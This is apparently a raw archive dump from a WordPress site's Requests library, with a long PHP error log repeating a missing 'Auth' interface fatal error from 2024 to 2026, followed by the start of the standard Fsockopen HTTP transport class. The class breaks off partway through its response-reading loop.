[17-Nov-2024 02:13:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[19-Nov-2024 00:34:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[16-Jan-2025 06:39:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[16-Jan-2025 07:42:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Feb-2025 01:44:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Feb-2025 02:34:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[22-Feb-2025 06:14:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[22-Feb-2025 06:25:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Mar-2025 10:12:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[13-May-2025 10:04:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[13-May-2025 10:04:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[13-May-2025 10:04:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[13-May-2025 10:04:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 11:56:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 11:56:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 11:56:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 11:56:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 14:33:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 14:33:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 14:33:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-May-2025 14:33:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[18-Jun-2025 16:52:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[19-Jul-2025 09:15:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[08-Aug-2025 12:08:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[08-Aug-2025 12:08:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-Aug-2025 05:55:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-Aug-2025 05:55:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[20-Aug-2025 23:28:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[21-Aug-2025 20:02:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[22-Aug-2025 21:06:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[22-Aug-2025 21:06:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[26-Aug-2025 06:18:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[26-Aug-2025 06:29:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[27-Aug-2025 13:45:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[04-Sep-2025 00:28:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[04-Sep-2025 00:48:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[06-Sep-2025 01:48:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[06-Sep-2025 01:58:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[09-Sep-2025 17:33:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[09-Sep-2025 17:48:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-Sep-2025 15:02:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-Sep-2025 15:11:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[18-Sep-2025 16:52:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[18-Sep-2025 17:06:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[19-Sep-2025 06:23:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[19-Sep-2025 06:38:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[22-Sep-2025 12:30:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[22-Sep-2025 12:47:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[25-Sep-2025 21:50:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[25-Sep-2025 22:04:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Oct-2025 10:35:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Oct-2025 10:44:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 08:23:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 08:33:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[06-Dec-2025 18:36:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[06-Dec-2025 18:51:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[23-Dec-2025 11:29:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[23-Dec-2025 11:50:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[24-Dec-2025 14:41:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[24-Dec-2025 15:06:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[04-Jan-2026 10:03:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[04-Jan-2026 10:13:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[05-Jan-2026 23:50:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[06-Jan-2026 01:12:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[06-Jan-2026 01:25:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[13-Jan-2026 23:43:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
[14-Jan-2026 00:04:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Auth' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Auth/Basic.php on line 23
Auth/.htaccess000064400000000000152223033010007220 0ustar00Transport/Fsockopen.php000064400000037033152223033010011175 0ustar00<?php
/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Port;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Ssl;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * fsockopen HTTP transport
 *
 * @package Requests\Transport
 */
final class Fsockopen implements Transport {
	/**
	 * Second to microsecond conversion
	 *
	 * @var integer
	 */
	const SECOND_IN_MICROSECONDS = 1000000;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Stream metadata
	 *
	 * @var array Associative array of properties, see {@link https://www.php.net/stream_get_meta_data}
	 */
	public $info;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $max_bytes = false;

	/**
	 * Cache for received connection errors.
	 *
	 * @var string
	 */
	private $connect_error = '';

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On failure to connect to socket (`fsockopenerror`)
	 * @throws \WpOrg\Requests\Exception       On socket timeout (`timeout`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$options['hooks']->dispatch('fsockopen.before_request');

		$url_parts = parse_url($url);
		if (empty($url_parts)) {
			throw new Exception('Invalid URL.', 'invalidurl', $url);
		}

		$host                     = $url_parts['host'];
		$context                  = stream_context_create();
		$verifyname               = false;
		$case_insensitive_headers = new CaseInsensitiveDictionary($headers);

		// HTTPS support
		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
			$remote_socket = 'ssl://' . $host;
			if (!isset($url_parts['port'])) {
				$url_parts['port'] = Port::HTTPS;
			}

			$context_options = [
				'verify_peer'       => true,
				'capture_peer_cert' => true,
			];
			$verifyname      = true;

			// SNI, if enabled (OpenSSL >=0.9.8j)
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound
			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
				$context_options['SNI_enabled'] = true;
				if (isset($options['verifyname']) && $options['verifyname'] === false) {
					$context_options['SNI_enabled'] = false;
				}
			}

			if (isset($options['verify'])) {
				if ($options['verify'] === false) {
					$context_options['verify_peer']      = false;
					$context_options['verify_peer_name'] = false;
					$verifyname                          = false;
				} elseif (is_string($options['verify'])) {
					$context_options['cafile'] = $options['verify'];
				}
			}

			if (isset($options['verifyname']) && $options['verifyname'] === false) {
				$context_options['verify_peer_name'] = false;
				$verifyname                          = false;
			}

			// Handle the PHP 8.4 deprecation (PHP 9.0 removal) of the function signature we use for stream_context_set_option().
			// Ref: https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures#stream_context_set_option
			if (function_exists('stream_context_set_options')) {
				// PHP 8.3+.
				stream_context_set_options($context, ['ssl' => $context_options]);
			} else {
				// PHP < 8.3.
				stream_context_set_option($context, ['ssl' => $context_options]);
			}
		} else {
			$remote_socket = 'tcp://' . $host;
		}

		$this->max_bytes = $options['max_bytes'];

		if (!isset($url_parts['port'])) {
			$url_parts['port'] = Port::HTTP;
		}

		$remote_socket .= ':' . $url_parts['port'];

		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
		set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE);

		$options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]);

		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);

		restore_error_handler();

		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
			throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
		}

		if (!$socket) {
			if ($errno === 0) {
				// Connection issue
				throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
			}

			throw new Exception($errstr, 'fsockopenerror', null, $errno);
		}

		$data_format = $options['data_format'];

		if ($data_format === 'query') {
			$path = self::format_get($url_parts, $data);
			$data = '';
		} else {
			$path = self::format_get($url_parts, []);
		}

		$options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]);

		$request_body = '';
		$out          = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']);

		if ($options['type'] !== Requests::TRACE) {
			if (is_array($data)) {
				$request_body = http_build_query($data, '', '&');
			} else {
				$request_body = $data;
			}

			// Always include Content-length on POST requests to prevent
			// 411 errors from some servers when the body is empty.
			if (!empty($data) || $options['type'] === Requests::POST) {
				if (!isset($case_insensitive_headers['Content-Length'])) {
					$headers['Content-Length'] = strlen($request_body);
				}

				if (!isset($case_insensitive_headers['Content-Type'])) {
					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
				}
			}
		}

		if (!isset($case_insensitive_headers['Host'])) {
			$out         .= sprintf('Host: %s', $url_parts['host']);
			$scheme_lower = strtolower($url_parts['scheme']);

			if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) {
				$out .= ':' . $url_parts['port'];
			}

			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['User-Agent'])) {
			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
		}

		$accept_encoding = $this->accept_encoding();
		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
		}

		$headers = Requests::flatten($headers);

		if (!empty($headers)) {
			$out .= implode("\r\n", $headers) . "\r\n";
		}

		$options['hooks']->dispatch('fsockopen.after_headers', [&$out]);

		if (substr($out, -2) !== "\r\n") {
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['Connection'])) {
			$out .= "Connection: Close\r\n";
		}

		$out .= "\r\n" . $request_body;

		$options['hooks']->dispatch('fsockopen.before_send', [&$out]);

		fwrite($socket, $out);
		$options['hooks']->dispatch('fsockopen.after_send', [$out]);

		if (!$options['blocking']) {
			fclose($socket);
			$fake_headers = '';
			$options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]);
			return '';
		}

		$timeout_sec = (int) floor($options['timeout']);
		if ($timeout_sec === $options['timeout']) {
			$timeout_msec = 0;
		} else {
			$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
		}

		stream_set_timeout($socket, $timeout_sec, $timeout_msec);

		$response   = '';
		$body       = '';
		$headers    = '';
		$this->info = stream_get_meta_data($socket);
		$size       = 0;
		$doingbody  = false;
		$download   = false;
		if ($options['filename']) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$download = @fopen($options['filename'], 'wb');
			if ($download === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		while (!feof($socket)) {
			$this->info = stream_get_meta_data($socket);
			if ($this->info['timed_out']) {
				throw new Exception('fsocket timed out', 'timeout');
			}

			$block = fread($socket, Requests::BUFFER_SIZE);
			if (!$doingbody) {
				$response .= $block;
				if (strpos($response, "\r\n\r\n")) {
					list($headers, $block) = explode("\r\n\r\n", $response, 2);
					$doingbody             = true;
				}
			}

			// Are we in body mode now?
			if ($doingbody) {
				$options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]);
				$data_length = strlen($block);
				if ($this->max_bytes) {
					// Have we already hit a limit?
					if ($size === $this->max_bytes) {
						continue;
					}

					if (($size + $data_length) > $this->max_bytes) {
						// Limit the length
